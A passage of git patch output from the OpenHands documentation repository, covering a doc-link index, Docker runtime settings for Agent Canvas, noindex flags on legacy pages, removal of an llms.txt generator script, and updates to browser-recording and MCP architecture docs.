Skills](https://docs.openhands.dev/overview/skills/keyword.md): Keyword-triggered skills provide OpenHands with specific instructions that are activated when certain keywords appear in the prompt. This is useful for tailoring behavior based on particular tools, languages, or frameworks. -- [Model Context Protocol (MCP)](https://docs.openhands.dev/overview/model-context-protocol.md): Model Context Protocol support across OpenHands platforms -- [Monitoring and Improving Skills](https://docs.openhands.dev/overview/skills/monitoring.md): Monitor skill performance in production using logging, evaluation metrics, dashboarding, and automated feedback aggregation. -- [Organization and User Skills](https://docs.openhands.dev/overview/skills/org.md): Organizations and users can define skills that apply to all repositories belonging to the organization or user. -- [Path-Triggered Rules](https://docs.openhands.dev/overview/skills/path.md): Path-triggered rules are skills that OpenHands injects deterministically whenever the agent reads, edits, or creates a file whose path matches a glob pattern. They behave like Claude Code "rules" — guaranteed to load for the files they scope, with no reliance on the model choosing them. -- [Plugins](https://docs.openhands.dev/overview/plugins.md): Plugins bundle multiple agent components together—skills, hooks, MCP servers, agents, and commands—into reusable packages that extend OpenHands capabilities. -- [Quick Start](https://docs.openhands.dev/overview/quickstart.md): Choose how you want to run OpenHands -- [Skills Overview](https://docs.openhands.dev/overview/skills.md): Give OpenHands reusable instructions, domain knowledge, workflows, and supporting resources. - -## Other - -- [Admin Console Configuration](https://docs.openhands.dev/enterprise/vm-install/admin-console-configuration.md): Configure an OpenHands Enterprise VM deployment from the Replicated Admin Console. -- [Amazon EKS](https://docs.openhands.dev/enterprise/k8s-install/eks.md): Prepare an Amazon EKS cluster to run OpenHands Enterprise -- [Analytics](https://docs.openhands.dev/enterprise/analytics.md): Deploy Laminar for trace analysis in OpenHands Enterprise. -- [Authentik](https://docs.openhands.dev/enterprise/integrations/saml-providers/authentik.md): Configure Authentik as a SAML identity provider for OpenHands Enterprise. -- [Azure DevOps](https://docs.openhands.dev/enterprise/integrations/azure-devops.md): Configure Azure DevOps authentication and automation triggers for OpenHands Enterprise. -- [Bitbucket Data Center](https://docs.openhands.dev/enterprise/integrations/bitbucket-data-center.md): Configure Bitbucket Data Center authentication and repository webhooks for OpenHands Enterprise. -- [Conversations And Sandboxes](https://docs.openhands.dev/enterprise/conversations-and-sandboxes.md): Understand and manage conversation execution, sandbox placement, sharing, and lifecycle in OpenHands Enterprise. -- [Custom Sandbox Images](https://docs.openhands.dev/enterprise/custom-sandbox-image.md): Preload repos, dependencies, and tooling into custom sandbox images, and run multiple images side by side with warm runtime pools. -- [DNS and TLS](https://docs.openhands.dev/enterprise/k8s-install/dns-and-tls.md): Automate DNS records and TLS certificates with external-dns and cert-manager -- [Enterprise vs. Open Source](https://docs.openhands.dev/enterprise/enterprise-vs-oss.md): Compare OpenHands Enterprise and Open Source offerings to choose the right option for your team -- [External LLM Gateways](https://docs.openhands.dev/enterprise/integrations/external-llm-gateways.md): Chain OpenHands Enterprise to an existing LiteLLM or Bifrost gateway so LLM traffic flows through your existing routing, cost tracking, and audit layer. -- [External Observability Platforms](https://docs.openhands.dev/enterprise/integrations/observability-platforms.md): Send OpenHands Enterprise conversation traces to your own OTLP-compatible observability platform such as Langfuse, Honeycomb, or Tempo. -- [External PostgreSQL](https://docs.openhands.dev/enterprise/external-postgres.md): Configure OpenHands Enterprise to use your own PostgreSQL database -- [GitHub](https://docs.openhands.dev/enterprise/integrations/github.md): Configure the GitHub App and control the built-in GitHub resolver in OpenHands Enterprise. -- [Install with Helm](https://docs.openhands.dev/enterprise/k8s-install/installation.md): End-to-end installation of OpenHands Enterprise on Kubernetes using Helm -- [Installing Sysbox](https://docs.openhands.dev/enterprise/k8s-install/sysbox.md): Install the Sysbox runtime so agent sandboxes can run securely -- [Jira Cloud](https://docs.openhands.dev/enterprise/integrations/jira-cloud.md): Configure Jira Cloud for OpenHands Enterprise. -- [Jira Data Center](https://docs.openhands.dev/enterprise/integrations/jira-data-center.md): Configure Jira Data Center for OpenHands Enterprise. -- [Kubernetes Installation](https://docs.openhands.dev/enterprise/k8s-install.md): Deploy OpenHands Enterprise into your own Kubernetes cluster using Helm -- [Log Collection](https://docs.openhands.dev/enterprise/vm-install/log-collection.md): Send logs from an OpenHands Enterprise VM installation to your own observability platform. -- [OpenHands Enterprise](https://docs.openhands.dev/enterprise.md): Run AI coding agents on your own infrastructure with complete control -- [Plugin Marketplace](https://docs.openhands.dev/enterprise/plugin-marketplace.md): Enable and configure the Plugin Marketplace to browse and install community-built OpenHands plugins. -- [Quick Start](https://docs.openhands.dev/enterprise/quick-start.md): Get started with a 30-day trial of OpenHands Enterprise. -- [Release Notes](https://docs.openhands.dev/enterprise/release-notes.md): Release notes for OpenHands Enterprise -- [Resource Limits](https://docs.openhands.dev/enterprise/k8s-install/resource-limits.md): Configure memory, CPU, and storage for OpenHands Enterprise components -- [Running Docker in the Agent Sandbox](https://docs.openhands.dev/enterprise/docker-in-sandbox.md): Let agents run containers, Docker Compose, and image builds inside their isolated sandbox—safely, without privileged access to your cluster. -- [SAML SSO](https://docs.openhands.dev/enterprise/integrations/saml-sso.md): Enable SAML single sign-on for OpenHands Enterprise and connect your corporate identity provider. -- [Scaling the Cluster](https://docs.openhands.dev/enterprise/vm-install/scaling.md): Add machines to an OpenHands Enterprise VM deployment to increase capacity, and run sandboxes on dedicated machines. -- [Sizing Guide](https://docs.openhands.dev/enterprise/sizing-guide.md): Recommended VM or Cluster sizing for an OpenHands Enterprise deployment -- [Skills and Plugins](https://docs.openhands.dev/enterprise/skills-and-plugins.md): Manage repository, organization, and user skills and control how plugins are discovered and loaded in OpenHands Enterprise. -- [Slack](https://docs.openhands.dev/enterprise/integrations/slack.md): Configure the Slack integration for a self-hosted OpenHands Enterprise install. -- [Troubleshooting](https://docs.openhands.dev/enterprise/troubleshooting.md): Collect diagnostics and inspect OpenHands Enterprise (OHE) workloads. -- [Upgrade Guidance](https://docs.openhands.dev/enterprise/k8s-install/upgrade-guidance.md): Generic advice for upgrading a Kubernetes cluster running OpenHands Enterprise diff --git a/openhands/usage/agent-canvas/development.mdx b/openhands/usage/agent-canvas/development.mdx index b4f4c6f00..01e9860f3 100644 --- a/openhands/usage/agent-canvas/development.mdx +++ b/openhands/usage/agent-canvas/development.mdx @@ -18,3 +18,22 @@ Agent Canvas is open source. To work on it from source: ``` For development workflows, environment variables, testing, and advanced configuration, see the [Development Guide](https://github.com/OpenHands/OpenHands/blob/main/docs/DEVELOPMENT.md) in the repository. + +## Docker Conversation Runtime Settings + +When running Agent Canvas locally via the `dev-safe.mjs` launcher, Canvas can forward conversation-runtime settings to its bundled Agent Server. This enables `OH_CONVERSATION_RUNTIME=docker`, which runs each conversation in an isolated Docker container instead of the default local process runtime. + +Canvas forwards these settings only when the operator explicitly sets them. Unset values remain absent so Agent Server defaults stay authoritative. + +| Environment Variable | Type | Launcher Default | Description | +|---------------------|------|---------|-------------| +| `OH_CONVERSATION_RUNTIME` | string | unset | Conversation runtime type. Set to `docker` to run conversations in Docker containers. | +| `OH_CONVERSATION_IMAGE` | string | unset | Docker image to use for conversation containers. | +| `OH_CONVERSATION_CONTAINER_MEMORY` | string | unset | Memory limit for conversation containers (e.g., `2g`). | +| `OH_CONVERSATION_CONTAINER_CPUS` | string | unset | CPU limit for conversation containers. | +| `OH_CONVERSATION_CONTAINER_PIDS_LIMIT` | string | unset | PID limit for conversation containers. | +| `OH_CONVERSATION_CONTAINER_STARTUP_TIMEOUT` | string | unset | Startup timeout for conversation containers (seconds). | + +These variables are specific to Canvas's `dev-safe.mjs` launcher and are forwarded to the bundled Agent Server process. Docker provisioning and setting interpretation are handled by Agent Server. + +These settings select the conversation runtime. For tool-only container isolation using `OH_EXECUTION_*`, see [Isolate Tool Execution with Docker](/openhands/usage/agent-canvas/backend-setup/docker-execution). diff --git a/openhands/usage/agent-canvas/release-notes/v1.20.0.mdx b/openhands/usage/agent-canvas/release-notes/v1.20.0.mdx index 443410859..72cf76f32 100644 --- a/openhands/usage/agent-canvas/release-notes/v1.20.0.mdx +++ b/openhands/usage/agent-canvas/release-notes/v1.20.0.mdx @@ -12,7 +12,7 @@ Released September 17, 2026. ## Highlights - **Agent profile secret scoping** — Choose which saved secrets an agent profile can access (all, none, or selected names) from the profile editor in `Settings > Agent`. The control appears when Agent Server advertises the `profile_secret_scope_v1` capability. Deleted secret references are preserved rather than silently removed. See [Agent Profiles](/openhands/usage/agent-canvas/agent-profiles). -- **Docker conversation runtime forwarding** — Canvas now forwards six conversation-runtime settings (runtime, image, memory, CPU, PID limits, startup timeout) to its bundled Agent Server when the operator explicitly sets them, enabling `OH_CONVERSATION_RUNTIME=docker` in local Canvas deployments. See [Environment Variables](/openhands/usage/environment-variables). +- **Docker conversation runtime forwarding** — Canvas now forwards six conversation-runtime settings (runtime, image, memory, CPU, PID limits, startup timeout) to its bundled Agent Server when the operator explicitly sets them, enabling `OH_CONVERSATION_RUNTIME=docker` in local Canvas deployments. See [Docker Conversation Runtime Settings](/openhands/usage/agent-canvas/development#docker-conversation-runtime-settings). - **Agent profile selection for automations** — Select a saved agent profile during automation setup and editing when the backend supports agent profiles. The selected profile is sent with `agent_profile_id` and replaces any legacy model selection. Unavailable selections remain visible. See [Pre-built Automations](/openhands/usage/agent-canvas/prebuilt-automations). ## Maintenance diff --git a/openhands/usage/architecture/backend.mdx b/openhands/usage/architecture/backend.mdx index 2a97e7e51..193774a87 100644 --- a/openhands/usage/architecture/backend.mdx +++ b/openhands/usage/architecture/backend.mdx @@ -1,4 +1,5 @@ --- +noindex: true title: Backend Architecture --- diff --git a/openhands/usage/architecture/runtime.mdx b/openhands/usage/architecture/runtime.mdx index 88fb6b044..8c53f69fd 100644 --- a/openhands/usage/architecture/runtime.mdx +++ b/openhands/usage/architecture/runtime.mdx @@ -1,4 +1,5 @@ --- +noindex: true title: Runtime Architecture --- diff --git a/openhands/usage/v0/advanced/V0_configuration-options.mdx b/openhands/usage/v0/advanced/V0_configuration-options.mdx index c0fb95027..40f047e17 100644 --- a/openhands/usage/v0/advanced/V0_configuration-options.mdx +++ b/openhands/usage/v0/advanced/V0_configuration-options.mdx @@ -1,4 +1,5 @@ --- +noindex: true title: Configuration Options description: This page outlines all available configuration options for OpenHands, allowing you to customize its behavior and integrate it with other services. diff --git a/openhands/usage/v0/advanced/V0_custom-sandbox-guide.mdx b/openhands/usage/v0/advanced/V0_custom-sandbox-guide.mdx index 95f2caa50..3142a0eaa 100644 --- a/openhands/usage/v0/advanced/V0_custom-sandbox-guide.mdx +++ b/openhands/usage/v0/advanced/V0_custom-sandbox-guide.mdx @@ -1,4 +1,5 @@ --- +noindex: true title: Custom Sandbox description: This guide is for users that would like to use their own custom Docker image for the runtime. For example, with certain tools or programming languages pre-installed. diff --git a/openhands/usage/v0/runtimes/V0_daytona.mdx b/openhands/usage/v0/runtimes/V0_daytona.mdx index 5404ac994..bec4ac4b1 100644 --- a/openhands/usage/v0/runtimes/V0_daytona.mdx +++ b/openhands/usage/v0/runtimes/V0_daytona.mdx @@ -1,4 +1,5 @@ --- +noindex: true title: Daytona Runtime description: You can use [Daytona](https://www.daytona.io/) as a runtime provider. --- diff --git a/openhands/usage/v0/runtimes/V0_docker.mdx b/openhands/usage/v0/runtimes/V0_docker.mdx index db9de749a..7196e9292 100644 --- a/openhands/usage/v0/runtimes/V0_docker.mdx +++ b/openhands/usage/v0/runtimes/V0_docker.mdx @@ -1,4 +1,5 @@ --- +noindex: true title: Docker Runtime description: This is the default Runtime that's used when you start OpenHands. --- diff --git a/openhands/usage/v0/runtimes/V0_e2b.mdx b/openhands/usage/v0/runtimes/V0_e2b.mdx index 646c68419..5d9c6e36e 100644 --- a/openhands/usage/v0/runtimes/V0_e2b.mdx +++ b/openhands/usage/v0/runtimes/V0_e2b.mdx @@ -1,4 +1,5 @@ --- +noindex: true title: E2B Runtime description: E2B is an open-source secure cloud environment (sandbox) made for running AI-generated code and agents. --- diff --git a/openhands/usage/v0/runtimes/V0_local.mdx b/openhands/usage/v0/runtimes/V0_local.mdx index 27fb773a1..baf425562 100644 --- a/openhands/usage/v0/runtimes/V0_local.mdx +++ b/openhands/usage/v0/runtimes/V0_local.mdx @@ -1,4 +1,5 @@ --- +noindex: true title: Local Runtime description: The Local Runtime allows the OpenHands agent to execute actions directly on your local machine without using Docker. This runtime is primarily intended for controlled environments like CI pipelines or testing scenarios diff --git a/openhands/usage/v0/runtimes/V0_modal.mdx b/openhands/usage/v0/runtimes/V0_modal.mdx index 3d69cf1e7..82135baae 100644 --- a/openhands/usage/v0/runtimes/V0_modal.mdx +++ b/openhands/usage/v0/runtimes/V0_modal.mdx @@ -1,4 +1,5 @@ --- +noindex: true title: Modal Runtime --- diff --git a/openhands/usage/v0/runtimes/V0_overview.mdx b/openhands/usage/v0/runtimes/V0_overview.mdx index 49ed08c39..ada62bd1b 100644 --- a/openhands/usage/v0/runtimes/V0_overview.mdx +++ b/openhands/usage/v0/runtimes/V0_overview.mdx @@ -1,4 +1,5 @@ --- +noindex: true title: Overview description: This section is for users that would like to use a runtime other than Docker for OpenHands. --- diff --git a/openhands/usage/v0/runtimes/V0_remote.mdx b/openhands/usage/v0/runtimes/V0_remote.mdx index 01355468e..c49c1f7f1 100644 --- a/openhands/usage/v0/runtimes/V0_remote.mdx +++ b/openhands/usage/v0/runtimes/V0_remote.mdx @@ -1,4 +1,5 @@ --- +noindex: true title: Remote Runtime description: This runtime is specifically designed for agent evaluation purposes only through the [OpenHands evaluation harness](https://github.com/OpenHands/benchmarks). It should not be diff --git a/openhands/usage/v0/runtimes/V0_runloop.mdx b/openhands/usage/v0/runtimes/V0_runloop.mdx index bd82d84b1..80f69754e 100644 --- a/openhands/usage/v0/runtimes/V0_runloop.mdx +++ b/openhands/usage/v0/runtimes/V0_runloop.mdx @@ -1,4 +1,5 @@ --- +noindex: true title: Runloop Runtime description: Runloop provides a fast, secure and scalable AI sandbox (Devbox). Check out the [runloop docs](https://docs.runloop.ai/overview/what-is-runloop) for more detail. diff --git a/scripts/generate-llms-files.py b/scripts/generate-llms-files.py deleted file mode 100755 index 5894b42c9..000000000 --- a/scripts/generate-llms-files.py +++ /dev/null @@ -1,307 +0,0 @@ -#!/usr/bin/env python3 - -"""Generate custom `llms.txt` + `llms-full.txt` for the OpenHands docs site. - -Why this exists --------------- -Mintlify automatically generates and hosts `/llms.txt` and `/llms-full.txt` for -Mintlify-backed documentation sites. - -For OpenHands, we want those files to provide **current architecture** context -to LLMs while we still keep legacy pages available for humans. In particular, -we want to exclude: - -- The legacy docs subtree under `openhands/usage/v0/` -- Any page whose filename starts with `V0*` -- Orphaned architecture pages for the former monorepo backend and runtime - -Mintlify supports overriding the auto-generated files by committing `llms.txt` -(and/or `llms-full.txt`) to the repository root. - -References: -- Mintlify docs: https://www.mintlify.com/docs/ai/llmstxt -- llms.txt proposal: https://llmstxt.org/ - -How to use ----------- -Run from the repository root (this repo's `docs/` directory): - - ./scripts/generate-llms-files.py - -This will rewrite `./llms.txt` and `./llms-full.txt`. - -Design notes ------------- -- We only parse `title` and `description` from MDX frontmatter. -- We intentionally group OpenHands pages into sections that clearly distinguish: - - OpenHands CLI - - OpenHands Web App Server (incl. "Local GUI") - - OpenHands Cloud - - OpenHands Software Agent SDK - -""" - - -from __future__ import annotations - -import re -from dataclasses import dataclass -from pathlib import Path - -ROOT = Path(__file__).resolve().parents[1] -BASE_URL = "https://docs.openhands.dev" - -EXCLUDED_DIRS = {".git", ".github", ".agents", "tests", "openapi", "logo"} -EXCLUDED_PAGES = { - Path("openhands/usage/architecture/backend.mdx"), - Path("openhands/usage/architecture/runtime.mdx"), -} - - -@dataclass(frozen=True) -class DocPage: - rel_path: Path - route: str - title: str - description: str | None - body: str - - -_FRONTMATTER_RE = re.compile(r"\A---\n(.*?)\n---\n", re.DOTALL) - - -def _strip_quotes(val: str) -> str: - val = val.strip() - if (val.startswith('"') and val.endswith('"')) or ( - val.startswith("'") and val.endswith("'") - ): - return val[1:-1] - return val - - -def parse_frontmatter(text: str) -> tuple[dict[str, str], str]: - m = _FRONTMATTER_RE.match(text) - if not m: - return {}, text - - fm_text = m.group(1) - body = text[m.end() :] - - fm: dict[str, str] = {} - for line in fm_text.splitlines(): - line = line.strip() - if not line or line.startswith("#"): - continue - if ":" not in line: - continue - k, v = line.split(":", 1) - k = k.strip() - v = v.strip() - if not k: - continue - fm[k] = _strip_quotes(v) - - return fm, body - - -def rel_to_route(rel_path: Path) -> str: - p = rel_path.as_posix() - if p.endswith(".mdx"): - p = p[: -len(".mdx")] - - if p.endswith("/index"): - p = p[: -len("/index")] - - return "/" + p.lstrip("/") - - -def is_v0_page(rel_path: Path) -> bool: - s = rel_path.as_posix() - if "/openhands/usage/v0/" in s: - return True - if rel_path.name.startswith("V0"): - return True - return False - - -def iter_doc_pages() -> list[DocPage]: - pages: list[DocPage] = [] - - for mdx_path in sorted(ROOT.rglob("*.mdx")): - rel_path = mdx_path.relative_to(ROOT) - - if any(part in EXCLUDED_DIRS for part in rel_path.parts): - continue - if rel_path in EXCLUDED_PAGES or is_v0_page(rel_path): - continue - - raw = mdx_path.read_text(encoding="utf-8") - fm, body = parse_frontmatter(raw) - - title = fm.get("title") - if not title: - continue - - description = fm.get("description") - route = rel_to_route(rel_path) - - pages.append( - DocPage( - rel_path=rel_path, - route=route, - title=title, - description=description, - body=body.strip(), - ) - ) - - return pages - - -LLMS_SECTION_ORDER = [ - "OpenHands Software Agent SDK", - "OpenHands CLI", - "OpenHands Web App Server", - "OpenHands Cloud", - "OpenHands Overview", - "Other", -] - - -def section_name(page: DocPage) -> str: - """Map a page to an `llms.txt` section. - - This is deliberately opinionated. The goal is to make it obvious to an LLM - what content is about: - - - the OpenHands CLI - - the OpenHands Web App + server (what the nav historically called "Local GUI") - - OpenHands Cloud - - the OpenHands Software Agent SDK - - """ - - route = page.route - - if route.startswith("/sdk"): - return "OpenHands Software Agent SDK" - - if route.startswith("/openhands/usage/cli"): - return "OpenHands CLI" - - if route.startswith("/openhands/usage/cloud"): - return "OpenHands Cloud" - - if route.startswith("/openhands/usage"): - return "OpenHands Web App Server" - - if route.startswith("/overview"): - return "OpenHands Overview" - - return "Other" - - -def _section_sort_key(section: str) -> tuple[int, str]: - """Stable ordering for llms sections, with a sane fallback.""" - - try: - return (LLMS_SECTION_ORDER.index(section), "") - except ValueError: - return (len(LLMS_SECTION_ORDER), section.lower()) - - -def build_llms_txt(pages: list[DocPage]) -> str: - """Generate `llms.txt`. - - The format follows the llms.txt proposal: - - One H1 - - A short blockquote summary - - Optional non-heading text - - H2 sections containing bullet lists of links - - """ - - grouped: dict[str, list[DocPage]] = {} - for page in pages: - grouped.setdefault(section_name(page), []).append(page) - - for section_pages in grouped.values(): - section_pages.sort(key=lambda p: (p.title.lower(), p.route)) - - lines: list[str] = [ - "# OpenHands Docs", - "", - "> LLM-friendly index of OpenHands documentation (V1). Legacy V0 docs pages are intentionally excluded.", - "", - "The sections below intentionally separate OpenHands product documentation (Web App Server / Cloud / CLI)", - "from the OpenHands Software Agent SDK.", - "", - ] - - for section in sorted(grouped.keys(), key=_section_sort_key): - lines.append(f"## {section}") - lines.append("") - - for page in grouped[section]: - url = f"{BASE_URL}{page.route}.md" - line = f"- [{page.title}]({url})" - if page.description: - line += f": {page.description}" - lines.append(line) - - lines.append("") - - return "\n".join(lines).rstrip() + "\n" - - -def build_llms_full_txt(pages: list[DocPage]) -> str: - """Generate `llms-full.txt`. - - This is meant to be copy/pasteable context for AI tools. - - Unlike `llms.txt`, there is no strict spec for `llms-full.txt`, but we keep a - single H1, then use H2/H3 headings to make the document navigable. - - """ - - grouped: dict[str, list[DocPage]] = {} - for page in pages: - grouped.setdefault(section_name(page), []).append(page) - - for section_pages in grouped.values(): - section_pages.sort(key=lambda p: p.route) - - lines: list[str] = [ - "# OpenHands Docs", - "", - "> Consolidated documentation context for LLMs (V1-only). Legacy V0 docs pages are intentionally excluded.", - "", - ] - - for section in sorted(grouped.keys(), key=_section_sort_key): - lines.append(f"## {section}") - lines.append("") - - for page in grouped[section]: - lines.append(f"### {page.title}") - lines.append(f"Source: {BASE_URL}{page.route}.md") - lines.append("") - if page.body: - lines.append(page.body) - lines.append("") - - return "\n".join(lines).rstrip() + "\n" - - -def main() -> None: - pages = iter_doc_pages() - - llms_txt = build_llms_txt(pages) - llms_full = build_llms_full_txt(pages) - - (ROOT / "llms.txt").write_text(llms_txt, encoding="utf-8") - (ROOT / "llms-full.txt").write_text(llms_full, encoding="utf-8") - - -if __name__ == "__main__": - main() diff --git a/sdk/guides/agent-browser-use.mdx b/sdk/guides/agent-browser-use.mdx index ac5f977fd..074d29a2b 100644 --- a/sdk/guides/agent-browser-use.mdx +++ b/sdk/guides/agent-browser-use.mdx @@ -27,6 +27,8 @@ The agent uses these tools to: In this example, the agent visits the openhands.dev blog, finds the latest blog post, and provides a summary of its main points. +For recording and replaying browser interactions, see [Browser Session Recording](/sdk/guides/browser-session-recording). + ## Customization For advanced use cases requiring only a subset of browser tools or custom configurations, you can manually diff --git a/sdk/guides/browser-session-recording.mdx b/sdk/guides/browser-session-recording.mdx index 39a50f097..a32469145 100644 --- a/sdk/guides/browser-session-recording.mdx +++ b/sdk/guides/browser-session-recording.mdx @@ -19,7 +19,9 @@ The [ready-to-run example](#ready-to-run-example) demonstrates: 2. **Browsing and interacting**: Navigate to websites and perform actions while recording 3. **Stopping the recording**: Use `browser_stop_recording` to stop and save the recording -The recording files are automatically saved to the persistence directory when the recording is stopped. +Recording files are written under `.agent_tmp/browser_observations/recording-/` relative to the browser tool process working directory. Events are flushed periodically, and stopping the recording saves any remaining events. This location is separate from the conversation's `persistence_dir`. + +For browser setup and tool configuration, see [Browser Use](/sdk/guides/agent-browser-use). ## Replaying Recordings @@ -64,7 +66,10 @@ from openhands.sdk import ( ) from openhands.sdk.tool import Tool from openhands.tools.browser_use import BrowserToolSet -from openhands.tools.browser_use.definition import BROWSER_RECORDING_OUTPUT_DIR +from openhands.tools.browser_use.definition import ( + BROWSER_RECORDING_OUTPUT_DIR, + BrowserNavigateAction, +) logger = get_logger(__name__) @@ -72,7 +77,7 @@ logger = get_logger(__name__) # Configure LLM api_key = os.getenv("LLM_API_KEY") assert api_key is not None, "LLM_API_KEY environment variable is not set." -model = os.getenv("LLM_MODEL", "anthropic/claude-sonnet-4-5-20250929") +model = os.getenv("LLM_MODEL", "gpt-5.5") base_url = os.getenv("LLM_BASE_URL") llm = LLM( usage_id="agent", @@ -108,31 +113,39 @@ conversation = Conversation( # The prompt instructs the agent to: # 1. Start recording the browser session -# 2. Browse to a website and perform some actions +# 2. Navigate to a page and get its content # 3. Stop recording (auto-saves to file) PROMPT = """ Please complete the following task to demonstrate browser session recording: -1. First, use `browser_start_recording` to begin recording the browser session. - -2. Then navigate to https://docs.openhands.dev/ and: - - Get the page content - - Scroll down the page - - Get the browser state to see interactive elements - -3. Next, navigate to https://docs.openhands.dev/openhands/usage/cli/installation and: - - Get the page content - - Scroll down to see more content - -4. Finally, use `browser_stop_recording` to stop the recording. - Events are automatically saved. +1. Use `browser_start_recording` to begin recording. +2. Navigate to https://docs.openhands.dev/ and: + - Get the page content + - Scroll down the page + - Get the browser state to see interactive elements +3. Use `browser_stop_recording` to stop and save the recording. """ print("=" * 80) print("Browser Session Recording Example") print("=" * 80) print("\nTask: Record an agent's browser session and save it for replay") -print("\nStarting conversation with agent...\n") + +# Pre-initialize the browser so CDP is ready before the agent starts. +# This avoids wasting LLM calls if the browser fails to connect. +print("\nInitializing browser...") + +init_obs = conversation.execute_tool( + "browser_navigate", + BrowserNavigateAction(url="about:blank"), +) +if init_obs.is_error: + print(f"Browser initialization failed: {init_obs.text}") + print("Ensure Chrome/Chromium is installed and accessible.") + exit(1) +print("Browser initialized successfully.\n") + +print("Starting conversation with agent...\n") conversation.send_message(PROMPT) conversation.run() @@ -213,6 +226,9 @@ print("=" * 100) cost = conversation.conversation_stats.get_combined_metrics().accumulated_cost print(f"Conversation ID: {conversation.id}") print(f"EXAMPLE_COST: {cost}") + +# Close conversation to shut down browser and other tool executors +conversation.close() ``` diff --git a/tests/test_generate_llms_files.py b/tests/test_generate_llms_files.py deleted file mode 100644 index 8c9b0bca5..000000000 --- a/tests/test_generate_llms_files.py +++ /dev/null @@ -1,19 +0,0 @@ -import importlib.util -from pathlib import Path -import sys - - -SCRIPT_PATH = Path(__file__).parents[1] / "scripts" / "generate-llms-files.py" -SPEC = importlib.util.spec_from_file_location("generate_llms_files", SCRIPT_PATH) -assert SPEC and SPEC.loader -MODULE = importlib.util.module_from_spec(SPEC) -sys.modules[SPEC.name] = MODULE -SPEC.loader.exec_module(MODULE) - - -def test_iter_doc_pages_excludes_former_monorepo_architecture() -> None: - paths = {page.rel_path for page in MODULE.iter_doc_pages()} - - assert Path("openhands/usage/architecture/backend.mdx") not in paths - assert Path("openhands/usage/architecture/runtime.mdx") not in paths - assert Path("openhands/usage/agent-canvas/architecture.mdx") in paths From c3833f28958f96bf513c0457c19bc9e8f748bfce Mon Sep 17 00:00:00 2001 From: Engel Nyst Date: Sat, 3 Oct 2026 23:36:43 +0200 Subject: [PATCH 42/97] Docs/mintlify native llms stack base (#888) * docs: use Mintlify-generated LLM context with legacy exclusions * docs: preserve browser recording, Agent Server, and Canvas runtime settings * docs: correct MCP architecture and include it in navigation (#816) --- docs.json | 1 + sdk/arch/mcp.mdx | 138 +++++++++++++++++------------------------------ 2 files changed, 49 insertions(+), 90 deletions(-) diff --git a/docs.json b/docs.json index 26830f100..615442a93 100644 --- a/docs.json +++ b/docs.json @@ -455,6 +455,7 @@ "sdk/arch/agent", "sdk/arch/conversation", "sdk/arch/tool-system", + "sdk/arch/mcp", "sdk/arch/events", "sdk/arch/workspace", "sdk/arch/llm", diff --git a/sdk/arch/mcp.mdx b/sdk/arch/mcp.mdx index 804437127..656db882b 100644 --- a/sdk/arch/mcp.mdx +++ b/sdk/arch/mcp.mdx @@ -32,7 +32,7 @@ flowchart TB end subgraph Integration["Agent Integration"] - Action["MCPToolAction
Dynamic model"] + Action["MCPToolAction
Argument wrapper"] Obs["MCPToolObservation
Result wrapper"] end @@ -67,9 +67,9 @@ flowchart TB | Component | Purpose | Design | |-----------|---------|--------| | **[`MCPClient`](https://github.com/OpenHands/software-agent-sdk/blob/main/openhands-sdk/openhands/sdk/mcp/client.py)** | Client wrapper | Extends FastMCP with sync/async bridge | -| **[`MCPToolDefinition`](https://github.com/OpenHands/software-agent-sdk/blob/main/openhands-sdk/openhands/sdk/mcp/definition.py)** | Tool metadata | Converts MCP schemas to SDK format | +| **[`MCPToolDefinition`](https://github.com/OpenHands/software-agent-sdk/blob/main/openhands-sdk/openhands/sdk/mcp/tool.py)** | Tool metadata | Converts MCP schemas to SDK format | | **[`MCPToolExecutor`](https://github.com/OpenHands/software-agent-sdk/blob/main/openhands-sdk/openhands/sdk/mcp/tool.py)** | Execution handler | Bridges agent actions to MCP calls | -| **[`MCPToolAction`](https://github.com/OpenHands/software-agent-sdk/blob/main/openhands-sdk/openhands/sdk/mcp/definition.py)** | Dynamic action model | Runtime-generated Pydantic model | +| **[`MCPToolAction`](https://github.com/OpenHands/software-agent-sdk/blob/main/openhands-sdk/openhands/sdk/mcp/definition.py)** | Action wrapper | Stores validated arguments in `data` | | **[`MCPToolObservation`](https://github.com/OpenHands/software-agent-sdk/blob/main/openhands-sdk/openhands/sdk/mcp/definition.py)** | Result wrapper | Wraps MCP tool results | ## MCP Client @@ -109,7 +109,7 @@ flowchart TB - **Lifecycle Management:** `__enter__`/`__exit__` for context manager - **Timeout Support:** Configurable timeouts for MCP operations - **Error Handling:** Wraps MCP errors in observations -- **Connection Pooling:** Reuses connections across tool calls +- **Connection Reuse:** Tools share their connected MCP client ### MCP Server Configuration @@ -143,12 +143,12 @@ mcp_config = { %%{init: {"theme": "default", "flowchart": {"nodeSpacing": 30, "rankSpacing": 40}} }%% flowchart TB Config["MCP Config"] - Spawn["Spawn Server"] + Spawn["Connect to Server"] List["List Tools"] subgraph Convert["Convert Each Tool"] Schema["MCP Schema"] - Action["Generate Action Model"] + Action["Generate Validation Model"] Def["Create ToolDefinition"] end @@ -169,67 +169,43 @@ flowchart TB **Discovery Steps:** -1. **Spawn Server:** Launch MCP server via stdio +1. **Connect:** Launch a stdio server or connect to a configured HTTP server 2. **List Tools:** Call `tools/list` MCP endpoint 3. **Parse Schemas:** Extract tool names, descriptions, parameters -4. **Generate Models:** Dynamically create Pydantic models for actions +4. **Generate Models:** Create Pydantic models from input schemas for argument validation 5. **Create Definitions:** Wrap in `ToolDefinition` objects 6. **Register:** Add to agent's tool registry ### Schema Conversion -MCP tool schemas are converted to SDK tool definitions: +`MCPToolDefinition` keeps the original MCP tool metadata and input schema. The +LLM-facing schema is built from that input schema, preserving nested properties. +A separate Pydantic model derived from `Schema` validates the arguments. -```mermaid -%%{init: {"theme": "default", "flowchart": {"nodeSpacing": 30}} }%% -flowchart LR - MCP["MCP Tool Schema
JSON Schema"] - Parse["Parse Parameters"] - Model["Dynamic Pydantic Model
MCPToolAction"] - Def["ToolDefinition
